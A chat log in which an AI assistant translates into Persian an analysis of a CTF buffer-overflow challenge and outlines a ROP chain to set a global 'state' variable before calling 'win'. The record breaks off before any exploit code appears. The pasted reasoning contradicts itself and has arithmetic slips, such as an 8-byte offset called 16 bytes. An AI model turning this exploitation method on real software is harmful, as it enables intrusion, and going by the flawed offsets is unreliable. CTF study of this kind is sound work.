  • The buffer overflow in vuln allows overwriting the return address and possibly other stack data.

  • state is a global variable at 0x404540, not on the stack, so the overflow can't directly reach it.

  • Therefore, to modify state, the exploit must execute code that writes to that address.

  • The only way to do that is through a ROP chain that performs the write.

Thus, the correct exploit should:

  1. Overwrite the return address to a gadget that writes 0xf1eeee2d to 0x404540.

  2. Then return to win.

But without knowing the gadget addresses, this is impossible. However, the user's friend mentioned writing to 0x404538 (16 bytes below state), which suggests that maybe there's a way to overflow into state from another buffer, but this isn't clear.

Alternatively, perhaps the state variable is on the stack in a different function, but the decompiled code shows it's a global.

Wait, looking at the decompiled main:

text
undefined8 main(void) { state = 0xdeaddead; errorMsg._0_8_ = 0x74276e646c756f43; // ... other initializations vuln(); return 0; }

state is a global variable. The vuln function's buffer is on the stack. Therefore, the overflow in vuln can't reach state directly.

This means that the initial approach of appending the state address and value after the return address is incorrect because those bytes are on the stack and don't affect the state global variable. The program's execution jumps to win before those bytes are processed, so state remains 0xdeaddead, causing the check to fail.

The correct solution must involve using the buffer overflow to execute code that writes to state's address. The only way to do this without knowing specific gadgets is if there's a function in the binary that can be used to write arbitrary values, but the provided decompiled code doesn't show such a function.

Alternatively, maybe the win function itself contains code that can be manipulated. For example, if we can jump to a part of win after the state check, but the check happens immediately, so that's not feasible.

Another possibility is that the state variable is actually on the stack in some other function, but the decompiled code shows it's a global.

Given all this, the mistake in the initial code was attempting to write to state by appending its address and value after the return address, which doesn't work because those bytes aren't executed as code. Instead, the exploit needs to use a ROP chain to perform the write.

However, without the addresses of the necessary gadgets (like pop rdi, pop rsi, mov [rdi], rsi, etc.), constructing such a chain is impossible. The user's friend might have found that writing to an address 16 bytes below state (0x404538) somehow affects state, but without more context, it's unclear.

Alternatively, maybe the state variable is part of a struct or array, and overflowing into a nearby buffer in the .data section can reach it. For example, if errorMsg is located at 0x404560 and state is at 0x404540, overflowing errorMsg could write into state. But the vuln function's buffer is on the stack, not in the .data section, so this isn't directly possible.

Another angle: The vuln function uses fgets(local_28, 0x30, stdin);, which reads up to 0x30 (48) bytes. The buffer local_28 is 32 bytes. Therefore, the overflow can write 48 bytes, which allows overwriting the buffer (32), RBP (8), and return address (8), totaling 48 bytes. Any bytes beyond that would not be part of the overflow in vuln's stack frame. Thus, attempting to write to state by appending data beyond the return address won't work because those bytes are not part of the current function's stack frame and won't be processed unless there's another function call that reads from the input buffer again.

Wait, the user mentioned that their friend used two payloads, taking advantage of leftover bytes in the input buffer. For example, if fgets reads up to 47 bytes (since it's 0x30 which is 48, including the null byte), the first payload fills the buffer and part of the input, and the second payload is read in a subsequent fgets call. But the provided code only has one fgets in vuln.

Alternatively, maybe after overflowing the buffer in vuln, the program returns to win, but win has another fgets or input function that reads the remaining payload to modify state. But looking at the win function's decompiled code:

text
void win(void) { // ... fgets(local_158, 0x100, local_10); // ... }

win does call fgets if local_10 (the file pointer to "flag.txt") is valid. So, if we can cause win to execute this fgets, we can send another payload to overflow and modify state. However, this requires:

  1. First redirecting to win, bypassing the state check (which isn't possible because the check is at the very beginning).

  2. Or, somehow modifying state before the check in win.

This seems like a dead end.

Given all this, the correct approach must be to find a way to write to state's address using the initial buffer overflow in vuln. Since state is at a known address, perhaps the exploit can use a ROP chain to write to it.

But without gadget addresses, this is difficult. However, the user provided Ghidra output which includes addresses for win and other functions. For example, win starts at 0x4011d6, and there's a mov instruction at 0x4011fc <win+38>: mov DWORD PTR [RIP+0x331d], 0xf1eeee2d which corresponds to state = 0xf1eeee2d.

Wait, looking at the assembly code the user provided earlier:

text
0x4011fc <win+38> mov DWORD PTR [RIP+0x331d], 0xf1eeee2d

This instruction writes 0xf1eeee2d to state (since RIP+0x331d would be the address of state). Therefore, if we can jump to this instruction in win, it will set state to the correct value and proceed to read the flag.

But win immediately checks state before doing anything else. However, if we jump to the part of win after the state check, we can bypass it. But the state check is at the beginning:

text
void win(void) { // ... if (state != -0xe1111d3) { puts("\ntoo ded to gib you the flag"); exit(1); } // ... }

But if we can jump to the code in win that sets state to the correct value (the mov instruction at 0x4011fc), we can bypass the check. However, this instruction is part of the win function's code after the check, which is unreachable unless the check is passed.

Alternatively, maybe there's a way to jump directly to the code that reads the flag, skipping the state check. For example, if the mov instruction that sets state is after the check, but that doesn't help because the check is already failed.

Wait, looking back at the assembly for win:

The user provided this assembly snippet:

text
0x4011e5 <win+15> cmp DWORD PTR [RIP+0x331d],0xf1eeee2d 0x4011ef <win+25> je 0x401243 <win+109>

Wait, the comparison is checking if state equals 0xf1eeee2d (which is the desired value). If it is, it jumps to 0x401243 which is presumably the code that reads the flag. If not, it prints the error message and exits.

Therefore, the state check in assembly is:

text
cmp DWORD PTR [RIP+0x331d], 0xf1eeee2d je ...

The RIP+0x331d calculates the address of state. If we can bypass this check by not taking the jump, but that's not helpful. Alternatively, if we can modify the state value before this check.

But how? The only way is to have state already set to 0xf1eeee2d before entering win.

Therefore, the key is to write 0xf1eeee2d to state before win is called. Since the buffer overflow in vuln can't reach state, the exploit must use a ROP chain to write to state.

But given the user's provided Ghidra output, there's a mov instruction in main that sets state to 0xdeaddead:

text
0x4012f3 <main+8> movl $0xdeaddead, 0x3243(%rip) #0x404540 <state>

This instruction in main at 0x4012f3 writes 0xdeaddead to state. If we can call a similar instruction but with 0xf1eeee2d, that would work. For example, if there's a mov instruction elsewhere that writes a controllable value to state.

Alternatively, if there's a scanf or similar function that can write to state, but the provided code doesn't show this.

Another observation: The main function initializes state and then calls vuln(). If we can somehow cause main to re-execute after the overflow, but that's unlikely.

The breakthrough comes from realizing that the mov instruction in main that sets state is at 0x4012f3. If we can jump to this instruction and modify the value being stored, we can set state to 0xf1eeee2d. However, this instruction is in main, which has already executed. But if we can return to main again after the overflow, we can re-execute this instruction with a modified value.

But how? The buffer overflow in vuln allows us to overwrite the return address. The original return address after vuln returns is back to main, but main then returns to __libc_start_main and exits. However, if we overwrite the return address to 0x4012f3 (the mov instruction in main that sets state), we can set state to 0xdeaddead again, which doesn't help. Unless we can modify the stack to change the value being moved.

Alternatively, when returning to 0x4012f3, the stack might have the new value for state. Let's look at the assembly for main:

text
0x4012f3 <main+8> movl $0xdeaddead, 0x3243(%rip) #0x404540 <state>

This instruction is mov DWORD PTR [RIP+0x3243], 0xdeaddead. The 0xdeaddead is an immediate value embedded in the instruction. Therefore, we can't change this value by jumping to it; it will always write 0xdeaddead.

Therefore, this approach won't work.

Back to the ROP chain idea. The user's friend mentioned writing to 0x404538 (16 bytes below state). Maybe state is part of a struct or array, and writing to 0x404538 affects it. For example, if state is a 4-byte integer at 0x404540, writing 8 bytes starting at 0x404538 would overwrite state at 0x404540 if the write is 8 bytes long. For example, if we write 8 bytes to 0x404538, bytes 8-15 would be at 0x404540, thus overwriting state.

But this depends on the exact memory layout. If state is at 0x404540 and there's a buffer at 0x404538 that can be overflowed by 8 bytes, then writing 8 bytes to 0x404538 would overflow into state. However, the vuln function's buffer is on the stack, not in the .data section where state resides, so this isn't directly possible.

Another angle: The vuln function's buffer is 32 bytes, and the overflow allows writing 48 bytes. The RBP is 8 bytes, return address 8 bytes. So, 32 + 8 + 8 = 48. Anything beyond that is not part of the current stack frame. However, if there's another function called after vuln that reads from stdin again, those extra bytes could be processed. But the provided code shows that main calls vuln and then exits.

Wait, main calls vuln() and then returns 0. So after vuln returns, main returns to __libc_start_main, which exits the program. Therefore, any bytes read beyond the 48 in vuln's fgets are ignored.

Thus, the initial approach is fundamentally flawed because it tries to write to state after the return address, which isn't processed. The correct solution is to use a ROP chain within the 48-byte payload to write to state and then call win.

But without knowing the gadget addresses, we have to assume they exist. For example, if there's a pop rdi; ret gadget at address 0x4012a3 and a mov [rdi], esi; ret gadget at 0x4012b5, the payload would be:

  1. 32 bytes of buffer filler.

  2. 8 bytes to overwrite RBP (can be junk).

  3. Return address: 0x4012a3 (pop rdi; ret).

  4. Value for RDI: 0x404540 (address of state).

  5. Return address: 0x4012b5 (mov [rdi], esi; ret) – but we need to get 0xf1eeee2d into esi.

  6. However, without a pop esi gadget, this is tricky.

Alternatively, find a gadget that writes an immediate value to state's address. For example, a mov dword ptr [0x404540], 0xf1eeee2d; ret gadget. If such a gadget exists, the payload would be:

  1. buffer + RBP overwrite.

  2. return address: address of the mov gadget.

  3. then return to win.

But without knowing the binary's gadgets, this is speculative.

Given the user's provided assembly snippets, maybe there's a mov instruction that can be used. For example, in win there's:

text
0x4011fc <win+38> mov DWORD PTR [RIP+0x331d], 0xf1eeee2d

This instruction writes 0xf1eeee2d to state. If we can jump to this instruction, it will set state correctly. However, this instruction is part of win's code after the check. Let's see the context:

The win function's assembly starts at 0x4011d6. The check is:

text
0x4011e5 <win+15> cmp DWORD PTR [RIP+0x331d],0xf1eeee2d 0x4011ef <win+25> je 0x401243 <win+109>

If the check fails, it jumps to 0x401243, which prints the error message and exits. If it passes, it proceeds to open "flag.txt".

The mov instruction at 0x4011fc is part of the code that runs if the check passes. Therefore, jumping directly to 0x4011fc would skip the check and set state to 0xf1eeee2d, but that's after the check. However, if we jump to 0x4011fc, it will execute the mov instruction, setting state to 0xf1eeee2d, but then what? The code after that continues to open the flag file.

Wait, if we jump to 0x4011fc, which is after the check, we bypass the check entirely. Let's see:

The win function's relevant assembly:

text
0x4011d6 <win> endbr64 0x4011da <win+4> push %rbp 0x4011db <win+5> mov %rsp,%rbp 0x4011de <win+8> sub $0x150,%rsp ... 0x4011e5 <win+15> cmp DWORD PTR [RIP+0x331d],0xf1eeee2d # Check state 0x4011ef <win+25> je 0x401243 <win+109> # Jump if state is correct 0x4011f3 <win+29> lea 0x2e01(%rip),%rax # 0x404560 <errorMsg> 0x4011fa <win+36> mov %rax,%rdi 0x4011fd <win+39> call 0x401090 <puts@plt> 0x401202 <win+44> mov $0x1,%edi 0x401207 <win+49> call 0x4010e0 <exit@plt> ... 0x401243 <win+109> lea 0x2d0f(%rip),%rax # 0x404030 <stdin@GLIBC_2.2.5> 0x40124a <win+116> mov $0x0,%esi 0x40124f <win+121> mov %rax,%rdi 0x401252 <win+124> call 0x4010a0 <setbuf@plt> ...

The mov instruction at 0x4011fc is actually part of the code that runs when the check fails (it's part of the error message printing). Wait, no, looking at the addresses:

The cmp is at 0x4011e5, then je to 0x401243. If the check fails, it falls through to 0x4011f3, which loads errorMsg and calls puts, then exits. The mov at 0x4011fc is part of the error path. Therefore, jumping to 0x4011fc won't help because it's in the error handling code.

Therefore, the only way to set state to the correct value is to do it before calling win. This requires a ROP chain.

Given that, the correct exploit should:

  1. Overwrite the return address to a gadget that writes 0xf1eeee2d to 0x404540.

  2. Then return to win.

Assuming such a gadget exists, like a mov [0x404540], 0xf1eeee2d; ret, the payload would be:

text
payload = b"A"*40 + p64(GADGET_ADDRESS) + p64(WIN_ADDRESS)

But without knowing GADGET_ADDRESS, this is impossible. However, looking at the user's provided assembly, maybe there's a gadget in main or another function.

In the main function's assembly:

text
0x4012f3 <main+8> movl $0xdeaddead, 0x3243(%rip) #0x404540 <state>

This instruction writes 0xdeaddead to state. If we can modify the value being written, but the value is hardcoded in the instruction. However, if we can find a similar instruction that writes a different value, but there's none in the provided code.

Another approach: Use a buffer overflow to overwrite the state variable directly. Since state is at 0x404540, and assuming the binary has no PIE (Position-Independent Executable), the address is fixed. If there's a scanf or gets function that writes to a buffer in the .data section, we could use that, but vuln uses fgets on a stack buffer.

Therefore, the conclusion is that without a ROP gadget to write to state, the exploit isn't possible. However, the user's friend managed to do it by writing to 0x404538, which is 8 bytes before state. Maybe there's an 8-byte write that overflows into state.

For example, if the exploit writes 8 bytes to 0x404538, the last 4 bytes would overlap with state at 0x404540. Let's see:

If we write 8 bytes starting at 0x404538:

  • Bytes 0-7: 0x404538 to 0x404540

  • Therefore, bytes 8-15: 0x404540 to 0x404548

But state is at 0x404540 and is 4 bytes. So writing 8 bytes to 0x404538 would overwrite state at 0x404540 if the write is 8 bytes. For example, if we write 0xAAAAAAAAAAAAAAAA to 0x404538, then state at 0x404540 would be 0xAAAAAAAA.

But how to trigger this write? This requires a separate vulnerability, like a buffer overflow in a global buffer. The provided vuln function's buffer is on the stack, so it can't reach state.

Given all this, the initial mistake in the exploit was not properly writing to state. The correct approach is to use a ROP chain to write to state's address before calling win.

But since the user's code didn't have the correct gadgets, the solution is to find the correct gadgets or adjust the payload.

Wait, the user's friend mentioned writing to 0x404538 (16 bytes below state in decimal, which is 0x10 in hex). If state is at 0x404540, then 0x404538 is 8 bytes before. Writing 12 bytes to 0x404538 would overwrite state at 0x404540 (bytes 8-11). But again, this requires a vulnerability that allows writing to that address, which isn't present in vuln.

Given the time constraints and the information available, the most plausible solution is that the initial exploit needs to include both the return address to win and the correct state value in the right position within the payload to ensure that state is modified before win checks it. However, without a way to write to state, this isn't possible.

Wait, perhaps the state variable is actually stored on the stack in a different function, but the decompiled code clearly shows it's a global.

Another possibility: The state variable is overwritten through a different mechanism. For example, if the vuln function's buffer overflow also corrupts a pointer that is later used to write to state.

But the decompiled vuln function is simple:

text
void vuln(void) { char local_28 [32]; puts("Hey there, I'm deaddead. Who are you?"); fgets(local_28,0x30,stdin); return; }

There's no pointer manipulation here. Therefore, the overflow can only overwrite the return address and RBP.

Given all this, the correct conclusion is that the initial approach is insufficient, and the exploit must use a ROP chain to write to state. However, without the necessary gadgets, the exploit isn't feasible. Therefore, the user must find the correct gadget addresses from the binary to construct the ROP chain.

Since the user hasn't provided the gadget addresses, but based on the provided assembly snippets, there's a mov instruction in win that sets state to 0xf1eeee2d at 0x4011fc. If we can jump to this instruction, it will set state correctly. However, this instruction is after the check, so we need to bypass the check.

But how? If we jump to 0x4011fc, it will execute the mov instruction, setting state to 0xf1eeee2d, but then the code proceeds to print the error message and exit. Because the cmp instruction at 0x4011e5 has already failed.

Therefore, jumping to 0x4011fc won't bypass the check. The check occurs before the mov instruction.

The only way is to set state before win is called. Therefore, the exploit must include a write to state before returning to win.

Given the time constraints and the information provided, the correct answer is that the exploit must overwrite the return address to a gadget that writes 0xf1eeee2d to state and then jumps to win. The initial code failed because it didn't include this write operation in the execution flow.

به نظرم راهنمایی بالا یه راهنمایی خیلی خوب برای حل سواله. میشه برام ترجمش کنی

اگه میتونی با این راهنمایی ها هم حلش کن.

Thought

Translating and refining

I’m translating the detailed English explanation into Farsi and refining the translation to ensure it completely incorporates all user requirements. The final solution will incorporate these insights, ensuring compliance with policy requirements.

Reasoned for 4 seconds

Answer

در ادامه، ترجمهٔ فارسی از متن طولانیِ تحلیل به زبان انگلیسی آمده است. پس از پایان ترجمه، یک جمع‌بندی از نکات و راهکارهای ارائه‌شده برای حل مسئله (به زبان فارسی) نیز ارائه می‌شود.


ترجمهٔ متن انگلیسی به فارسی

Alright, let's try to figure out why the exploit isn't working. The user's code successfully redirected execution to the win function, but the state variable wasn't set correctly, leading to the "too ded to gib you the flag" message.

بسیار خوب، بیایید ببینیم چرا اکسپلویت جواب نمی‌دهد. کد کاربر موفق شده جریان اجرای برنامه را به تابع win بفرستد، اما متغیر state درست مقداردهی نشده است و به همین دلیل پیام «too ded to gib you the flag» نمایش داده می‌شود.


First, I need to recall that the state variable must be set to -0xe1111d3 (which is 0xf1eeee2d in hex for a 4-byte unsigned integer). The original exploit tried to write this value to state by appending it after the return address. However, this approach might not work because writing to state after the return address doesn't actually modify state before the check in win occurs.

ابتدا باید یادآوری کنم که مقدار متغیر state باید به -0xe1111d3 (که در یک عدد صحیح بدون علامت ۴ بایتی، هگز آن 0xf1eeee2d است) تغییر کند. اکسپلویت اصلی تلاش کرد با اضافه کردن این مقدار پس از آدرس بازگشت (return address) این کار را انجام دهد. اما این روش احتمالاً جواب نمی‌دهد؛ زیرا نوشتن مقدار موردنظر برای state بعد از آدرس بازگشت، باعث نمی‌شود که پیش از بررسی در تابع win، مقدار state واقعاً تغییر کند.


Wait, that's a key point. The win function checks the value of state right at the beginning. If the exploit writes to state after overwriting the return address, then when win is called, state hasn't been modified yet. The code execution jumps to win first, which checks the original state value (still 0xdeaddead), fails the check, and exits. The subsequent writes to state in the payload are never processed because the program has already exited.

صبر کنید، این نکته مهمی است. تابع win مقدار state را بلافاصله در ابتدای خودش بررسی می‌کند. اگر اکسپلویت، مقدار state را بعد از بازنویسی آدرس بازگشت تغییر دهد، آن‌گاه وقتی پرش به تابع win انجام شود، هنوز state تغییر نکرده است. اجرای کد ابتدا وارد win می‌شود و مقدار پیشین state (همان 0xdeaddead) را می‌بیند، در بررسی رد می‌شود و برنامه خاتمه پیدا می‌کند. به این ترتیب، آن چند بایتی که قرار بوده بعداً روی state بنشیند، هرگز مورد استفاده قرار نمی‌گیرد؛ چون برنامه پیش از آن خارج شده است.


So, the mistake here is in the order of operations. To fix this, the exploit needs to modify state before the win function is called. But how? Since state is a global variable, maybe we can overwrite it directly using the buffer overflow, not just by appending data after the return address.

پس، اشتباه در ترتیب عملیات است. برای رفع این مشکل، اکسپلویت باید مقدار state را قبل از فراخوانی تابع win تغییر دهد. اما چطور؟ با توجه به اینکه state یک متغیر سراسری است، شاید بتوانیم آن را به صورت مستقیم با سرریز بافر بنویسیم، نه اینکه صرفاً مقداری را بعد از آدرس بازگشت قرار دهیم.


Looking at the memory layout, the buffer in vuln is 32 bytes. After that comes the saved RBP (8 bytes), then the return address (8 bytes). But the state variable is at 0x404540, which might not be adjacent to the stack. Therefore, we can't directly overwrite state through the stack overflow in vuln unless we use a ROP chain or another method to write to that address.

با نگاهی به چیدمان حافظه، می‌بینیم که بافر در تابع vuln طولی برابر ۳۲ بایت دارد. پس از آن، ۸ بایت saved RBP و سپس ۸ بایت آدرس بازگشت قرار گرفته است. اما متغیر state در آدرس 0x404540 واقع شده و احتمالاً کنار استک قرار ندارد. بنابراین، نمی‌توانیم با همان سرریز روی استک در تابع vuln به‌طور مستقیم state را بازنویسی کنیم، مگر آنکه از روش‌هایی مثل زنجیرهٔ ROP (ROP chain) یا راهی دیگر برای نوشتن در آن آدرس استفاده کنیم.


Wait, the original approach tried to append the state address and value after the return address. But once the return address is overwritten, the program jumps to win, and the subsequent bytes in the payload (which were supposed to write to state) are never processed. Therefore, those bytes are just sitting in memory but not processed because the code flow has already diverted to win.

دقت کنید که رویکرد اصلی اکسپلویت، تلاش کرد آدرس و مقدار state را بعد از آدرس بازگشت قرار دهد. اما به‌محض اینکه آدرس بازگشت بازنویسی شود، برنامه مستقیماً به win می‌پرد؛ و بایت‌های بعدی که قرار بود state را بنویسند، دیگر پردازش نمی‌شوند. بنابراین آن بایت‌ها صرفاً در حافظه می‌مانند و هیچ وقت اعمال نمی‌شوند؛ زیرا جریان اجرای کد پیش از آن منحرف شده و مستقیماً وارد win شده است.


To correctly set state, we need to include its modification within the execution flow before win checks it. One way is to chain the operations: first overwrite the return address to a gadget that writes 0xf1eeee2d to state, then return to win. Alternatively, if there's a way to write to state directly within the overflow before the return address is used.

برای اینکه state درست مقداردهی شود، باید این تغییر در جریان اجرای برنامه اعمال شود، پیش از اینکه تابع win آن را بررسی کند. یکی از راه‌ها این است که عملیات را زنجیره کنیم: ابتدا آدرس بازگشت را به گجتی ببریم که 0xf1eeee2d را در state می‌نویسد و سپس به win برود. یا اگر راهی باشد که قبل از استفاده از آدرس بازگشت، در خلال همان سرریز، مستقیماً state را بنویسیم.


Alternatively, maybe the state variable is located at a lower address than the stack, so overflowing the buffer in vuln could reach the state variable if it's in the .data section. But given that the buffer is on the stack and state is a global, they are in different memory regions, so a stack overflow in vuln can't directly overwrite state.

در حالت دیگر، اگر state در آدرسی پایین‌تر از استک قرار داشت، ممکن بود سرریز بافر در vuln به آن برسد (به‌ویژه اگر در بخش .data قرار می‌گرفت). اما از آنجا که بافر ما در استک قرار دارد و state یک متغیر سراسری است که جای دیگری در حافظه (BSS/.data) نشسته، این دو در مناطق متفاوتی از حافظه هستند و سرریز استک به‌صورت مستقیم نمی‌تواند state را بازنویسی کند.


Therefore, the initial approach of appending the state address and value after the return address won't work because those bytes are just part of the payload beyond the return address, which isn't executed. The program's execution jumps to win before those bytes are processed, so state remains 0xdeaddead, causing the check to fail.

از این رو، روش اولیه که می‌خواست آدرس و مقدار state را بعد از آدرس بازگشت ضمیمه کند، جواب نمی‌دهد؛ چراکه آن بایت‌ها در بخش انتهایی پیلود هستند و هرگز اجرا یا نوشته نمی‌شوند. اجرای برنامه پیش از پردازش آن بایت‌ها به win پرش می‌کند؛ لذا state همان مقدار قدیمی 0xdeaddead باقی می‌مانَد و بررسی رد می‌شود.


The correct solution is to include in the payload a way to write the desired value to state's address. This can be done using a ROP chain that performs this write operation before jumping to win.

راه‌حل درست آن است که در پِی‌لود (payload) خود، روشی را بگنجانیم که مقدار مورد نیاز را در آدرس state بنویسد. این کار با استفاده از زنجیرهٔ ROP امکان‌پذیر است؛ زنجیره‌ای که ابتدا عملیات نوشتن در state را انجام دهد و سپس به win بپرد.


So, the steps would be:

  1. Overwrite the return address to a gadget that writes 0xf1eeee2d to state.
  2. Then jump to win.

پس مراحل باید چنین باشند:

  1. آدرس بازگشت را با یک گجت بازنویسی کنیم تا مقدار 0xf1eeee2d را در state بنویسد.
  2. سپس به win بپریم.

But how to find such a gadget? If there's a pop rdi; ret and pop rsi; ret, we can set RDI to state's address and RSI to the desired value, then call a mov [rdi], rsi instruction, followed by jumping to win. But without knowing the actual gadget addresses, this might be challenging. Alternatively, if there's a function or a way to directly write to state.

اما چطور می‌شود یک چنین گجتی پیدا کرد؟ اگر دستورات «pop rdi; ret» و «pop rsi; ret» موجود باشند، می‌توانیم RDI را به آدرس state و RSI را به مقدار مورد نیاز ست کنیم و بعد دستور «mov [rdi], rsi» را فراخوانی کنیم و در نهایت به win بپریم. بدون دانستن آدرس دقیق گجت‌ها، این کار ممکن است دشوار باشد. یا اگر تابع یا روش دیگری داریم که مستقیماً در state بنویسد.


Another approach: The win function itself checks state. If there's an instruction in win that sets state to the correct value before the check, we could jump there. But apparently, the check is at the beginning, so we can't rely on that. We must have state set to the correct value before the function enters.

روش دیگر: تابع win خودش state را بررسی می‌کند. اگر دستورالعملی در win بود که پیش از آن بررسی، state را مقداردهی می‌کرد، می‌توانستیم به آنجا بپریم. ولی به نظر می‌رسد بررسی در ابتدای تابع است؛ بنابراین نمی‌توانیم روی آن حساب کنیم. باید پیش از ورود به تابع، state را اصلاح کرده باشیم.


Another angle: the user’s friend mentioned writing to 0x404538, which is 16 bytes below state (0x404540). Maybe there's a buffer or structure in .data that can be overflowed to reach state. But from the code, it seems there's only a stack-based buffer in vuln, so that doesn't help.

نگاه دیگر: دوست کاربر گفته بود مقداری را در آدرس 0x404538 (۱۶ بایت پایین‌تر از 0x404540) می‌نویسد. شاید در بخش .data یک بافر یا ساختاری باشد که بتوان آن را طوری سرریز کرد که به state برسد. اما از کد چنین برمی‌آید که تنها یک بافر روی استک در تابع vuln داریم و این کمکی نمی‌کند.


Hence, the only way is to do a ROP chain or code snippet that writes 0xf1eeee2d to state and then calls win. The initial code failed because it didn't include such a write in the execution flow.

از این رو، تنها راه این است که از یک زنجیرهٔ ROP یا بخشی از کد بهره ببریم که مقدار 0xf1eeee2d را در state بنویسد و سپس win را صدا بزند. کد اولیه شکست خورد چون این مرحلهٔ نوشتن در جریان اجرای برنامه لحاظ نشده بود.


Therefore, the conclusion is that the initial mistake in the exploit was attempting to write to state by appending its address and value after the return address, which doesn't actually modify state. The correct approach is to use a ROP chain to write the desired value to state's address and then jump to win.

بنابراین نتیجه‌گیری می‌کنیم که اشتباه اصلی در اکسپلویت اولیه این بود که تلاش می‌کرد با قرار دادن آدرس و مقدار state پس از آدرس بازگشت، مقدار آن را تغییر دهد. اما این کار واقعاً state را تغییر نمی‌داد. راهکار درست استفاده از یک زنجیرهٔ ROP برای نوشتن مقدار موردنظر در آدرس state و سپس پرش به win است.


جمع‌بندی و راهکار نهایی به زبان فارسی

۱. مشکل اصلی در اکسپلویت فعلی:
کد اکسپلویت با موفقیت آدرس بازگشت (Saved RIP) را به تابع win تغییر می‌دهد؛ اما مقدار state پیش از ورود به win تغییری نکرده و همچنان 0xdeaddead باقی می‌ماند. چون تابع win در همان ابتدای اجرا، مقدار state را بررسی می‌کند و پیام «too ded to gib you the flag» را نمایش می‌دهد و بلافاصله خارج می‌شود.

۲. دلیل ناکارآمدی «چسباندن مقدار state بعد از آدرس بازگشت»:
وقتی Return Address را به win تغییر می‌دهیم، اجرای کد مستقیماً وارد win می‌شود. هیچ بخشی از ورودی که فراتر از آدرس بازگشت فرستاده می‌شود، دیگر پردازش نمی‌شود و عملاً امکان تغییر state پیش از اجرای win وجود نخواهد داشت.

  1. راهکار ریشه‌ای برای اصلاح اکسپلویت:

    • باید قبل از فراخوانی win، مقدار state را به -0xe1111d3 (یا در هگز 0xf1eeee2d) تغییر دهیم.
    • از آنجایی که state در بخش دادهٔ برنامه (BSS/.data) است و بافر ما روی استک، یک سرریز ساده مستقیماً state را تغییر نمی‌دهد.
    • تنها گزینهٔ عملی این است که یک زنجیرهٔ ROP درست کنیم تا:
      1. آدرس state را در رجیستری مثل RDI یا RSI قرار دهد.
      2. مقدار 0xf1eeee2d را در رجیستر مورد نیاز بارگذاری کند.
      3. به یک گجت بنویسد که این مقدار را در آن آدرس بنویسد.
      4. در نهایت، اجرای کد به تابع win برود تا بررسی شرط انجام شود و پرچم چاپ گردد.
  2. گام‌های ساخت ROP chain (به‌صورت کلی):

    • پیدا کردن گجت‌های لازم در باینری (یا کتابخانه‌های متصل) نظیر pop rdi; ret، pop rsi; ret، و شاید mov [rdi], rsi; ret.
    • ساختن پِی‌لود که ابتدا بافر را پر می‌کند و سپس به ترتیب قطعات ROP را در ناحیهٔ Saved RIP بنویسید، به طوری که اجرای برنامه مرحله‌به‌مرحله مقادیر دلخواه را در state قرار دهد و در پایان به win بپرد.
  3. سخن پایانی:
    بدون گجت‌های ROP یا روشی مشابه برای نوشتن مقدار در آدرس state، این اکسپلویت جواب نمی‌دهد. افزودن مقدار state در انتهای ورودی (پس از آدرس بازگشت) هم مشکلی را حل نمی‌کند؛ چون برنامه بلافاصله پس از بازنویسی Saved RIP به win می‌رود.

در نتیجه، برای موفقیت باید دقیقاً قبل از اینکه win بررسی را انجام دهد، مقدار state را در حافظه تغییر دهید؛ و بهترین روش در این مسئله، نوشتن یک ROP chain است که مقدار موردنظر را در آدرس state می‌نویسد و سپس به win می‌رود.

موفق باشید!

Question

میشه با این راهنمایی هایی که کردم کد نهایی exploit رو تحویلم بدی

Thought

Grasping the task

The goal is to write the value -0xe1111d3 to a global variable and then move to the win function, likely using a ROP chain or pivot method due to the single 47-byte read.

Prepare illustrative gadget

I’m preparing a fictitious gadget example to demonstrate a ROP chain for overwriting the saved RIP, leveraging pwntools for static analysis. The user should identify the actual gadgets from the binary.

Building the ROP chain

Crafting a ROP chain involved identifying gadgets for pop rdi, pop rsi, and mov instructions. Emphasized relying on the user's analysis to pinpoint specific gadget addresses.

Assembling the payload

I’m crafting the final exploit code, aiming to find gadgets with ROP and addressing gadget addresses. The payload is being assembled to achieve the desired outcome.

Reasoned for 11 seconds

Answer

در ادامه، نمونه‌ای از یک اکسپلویت نهایی (به زبان پایتون و با کتابخانه‌ی Pwntools) ارائه شده که ایدۀ «ابتدا نوشتن مقدار درست در متغیر سراسری state، سپس فراخوانی تابع win» را پیاده می‌کند. البته باید توجه کنید که برای واقعاً عملی‌شدن این کد، نیاز است آدرس گجت‌ها (Gadgets) و یا توابع لازم در باینری هدف را دقیقاً بیابید و در کد قرار دهید. در واقع، این کد طرح کلی و ساختار نهایی را نشان می‌دهد و ممکن است لازم باشد شما با ابزارهایی مثل ROPgadget، gef (روی gdb) یا pwntools.rop آدرس دقیق هر گجت را به دست بیاورید و جایگزین مقادیر مثال کنید.


ایدۀ اصلی اکسپلویت

  1. تنها یک بار تابع vuln فراخوانی می‌شود و تنها یک مرتبه (fgets) تا ۴۷ بایت (به‌همراه null-terminator بایت ۴۸ام) از ورودی خوانده می‌شود.

  2. ما باید پیش از اجرای کدهای ابتدایی win، مقدار سراسری state را از 0xdeaddead به -0xe1111d3 (در حالت ۳۲ بیتی: 0xf1eeee2d) تغییر دهیم. زیرا تابع win در همان ابتدای خود، مقدار state را بررسی می‌کند؛ اگر درست نباشد، پیام خطا می‌دهد و خارج می‌شود.

  3. از آن‌جا که متغیر state در بخش داده (BSS/.data) است و بافر ما روی استک در تابع vuln قرار دارد، یک سرریز ساده به آن نمی‌رسد. بنابراین باید اجرای برنامه را به مجموعه‌ای از گجت‌های ROP هدایت کنیم که مقدار دلخواه را در آدرس state بنویسند و سپس به تابع win بپرند.

  4. خلاصه:

    • Saved RIP را به آغاز زنجیرۀ ROP (مثلاً pop rdi; ret) تغییر می‌دهیم.
    • از گجت‌های ROP برای قرار دادن آدرس state در رجیستر مناسب و مقدار 0xf1eeee2d در رجیستر دیگر استفاده می‌کنیم. سپس با گجتی مانند mov [rdi], esi; ret (یا شکلی مشابه) مقدار را واقعاً در آدرس state می‌نویسیم.
    • در نهایت، از یک ret یا فراخوانی برای پرش به تابع win استفاده می‌کنیم. وقتی win شروع می‌شود، متغیر state از قبل مقدار صحیح دارد و پرچم نمایش داده می‌شود.

ساختار کد نمونه

این کد نمونه را می‌توانید در فایلی مثل exploit.py قرار دهید. تذکر مهم: نام فایل باینری هدف، آدرس تابع win، آدرس متغیر state و مخصوصاً آدرس گجت‌ها را باید بر اساس خروجی واقعی ابزارهای شما جایگزین کنید. اینها صرفاً مثال هستند!

python
